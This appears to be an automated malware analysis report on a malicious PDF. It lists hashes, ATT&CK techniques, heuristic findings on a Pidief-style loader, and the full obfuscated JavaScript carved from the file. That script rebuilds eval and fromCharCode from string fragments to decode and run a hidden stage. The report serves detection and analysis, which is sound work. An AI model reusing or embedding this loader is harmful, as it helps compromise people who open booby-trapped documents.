Malicious PDF — malware analysis report

Static analysis result for SHA-256 765c52c0aecbebc7…

MALICIOUS

PDF

44.9 KB First seen: 2026-05-09
MD5: 9bc1b1a9597a733b31b2a5fea9f6b89e SHA-1: b52c4d650235ff5f0cb3708e049c27b9efdd1b06 SHA-256: 765c52c0aecbebc7f80fd863a1b5a278e8dd92b6e93dc722dfc8389b4c7b9ef9
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF document contains obfuscated JavaScript, identified by heuristics as a loader. This script reconstructs and executes a URL, likely to download and run a secondary payload. The script's obfuscation and loader functionality suggest a malicious intent to compromise the user's system.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB0B3 488 bytes
SHA-256: 2b3b463fa43a4525b7ccb48141afba550d4ca1665c76cbbf4881dcd2a9405bdf
Preview script
First 1,000 lines of the extracted script
yjc='';
v='s'+'u';
try{try{qwe()}catch(a){gsdg()}}catch(e){v+='b'+'st';qqq='split';}
qwe = ('webweb',v)[v+'r'];
t='le';
b='v';
a=["e","a","n","b","w",b,'r'];
s=a[0]+b+a[1]+'l';
e=(t,qwe)()[s];
zoplw=e('ti'+'tle');
s=zoplw.substr(t.length + 8,3)+'str';
q=zoplw[s](1,(1,t.length + 7));
dvdh=e('S'+'tring.fro'+q);
q=zoplw[s](14)[qqq]('u');
k=q.length;
for (i = 0; i != k; i+=2) {
	rvbdf = parseInt(q[i+1]) + parseInt(('erybjkerl',q[i]));
	yjc += dvdh(rvbdf);
}
e(yjc);

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